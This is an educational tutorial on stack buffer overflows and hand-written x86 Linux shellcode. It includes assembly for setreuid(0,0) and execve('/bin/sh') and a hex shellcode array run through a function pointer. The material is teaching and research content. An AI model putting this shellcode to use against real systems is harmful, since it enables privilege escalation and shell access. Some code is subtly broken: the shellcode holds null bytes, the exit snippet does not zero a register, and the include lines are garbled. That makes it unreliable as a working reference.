1. Bufferoverflow introduction. Buffer overflow is a method that is used to exploit bad coded software. The idea is to overflow the current buffer and thus overwrite some other data that guides the processor throughout the execution of a program. For example it could be a character string which is passed as an argument to a function that doesn't check/limit the string's size. 2. Implications of Buffer Overflow. Since this can be done then one could choose a string which is long enough to overwrite the return address of a function. Thus this will enable the attacker to place a custom return address which can point to different place in memory and can contain just about anything, including shell spawning code. 3. Shellcode. Shellcode refers to the particular string/sequence of 0's and 1's that is used to represent the shell spawning sequence/code. -) Interrupts. Interrupt in the context of this topic refers to such an event that causes the system to execute a paticular system function. Such trap on x86 Linux can be invoked by "int 0x80" 4. First steps. Let's try out some simple functions for start. ------ the exit function in C ------ #include int main() { exit(0); } ----------------------------------- ------ the exit function in assembly ------- main() { __asm__(" mov %ebx, %ebx mov $0x1, %eax int $0x80 "); } -------------------------------------------- ------- the setreuid function in c -------- #include #include main() { setreuid(0,0); } ------------------------------------------- ------ the setreuid function in assembly -- main() { __asm__(" xorl %ebx, %ebx xorl %ecx, %ecx mov $0x46, %eax int $0x80 "); } 5. Shell spawning code. To create shellcode first one must be clear on what is where: http://turing.gcsu.edu/~adimitro/docs/syscall_listing_local_links1.html This file shows locations of function definitions and values for %eax. Note in the definition for execve: = it takes the value from ebx and name is from ecx. = then path is in edx To provide the executable with some place for the shell string we can use a stack. This implies that everything that goes in must be stored in a reverse order so that it will be correctly represented in memory for future utilization by execve. In this example we will use %eax for NULL. NULL is just some zeroes :-) To prepare the string we can use hexdump but make sure that we ignore special characters such as "\n" automatically created by some text editors. Encode "/bin/sh\0" with hexdump. Also make sure that we have a complete **argv for do_execve which is invoked by sys_execve. Note sys_ functions only prepare for the do_ functions which are the ones that do the actual work. ---- assembly code for execve ---- main() { __asm__(" xorl %eax, %eax pushl $0x0068732f pushl $0x6e69622f movl %esp, %ebx push %eax pushl %ebx movl %esp, %ecx xorl %edx, %edx mov $0x0b, %eax int $0x80 "); } --------------------------------- 6. Last convert to hex so that it is fit for the processor to execute it. We cannot rely on assembler or linker at this point in time because this is after all a running process we are trying to modify. -) disassemble the main function: "disassemble main" -) the display the bytes we need: x/b to determine and then we can use x/n -) copy all into char [] -) make it a function through pointer then execute it ---- shellcode for execve /bin/sh ---- char array[] = "\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80"; main() { void (*ptr) (void); ptr=(void *) array; ptr(); } -------------------------------------- 7. The techniques above can also be used for binary pathing and running process patching. Certainly these applications would be preferred than to use it to write powerful malicious code.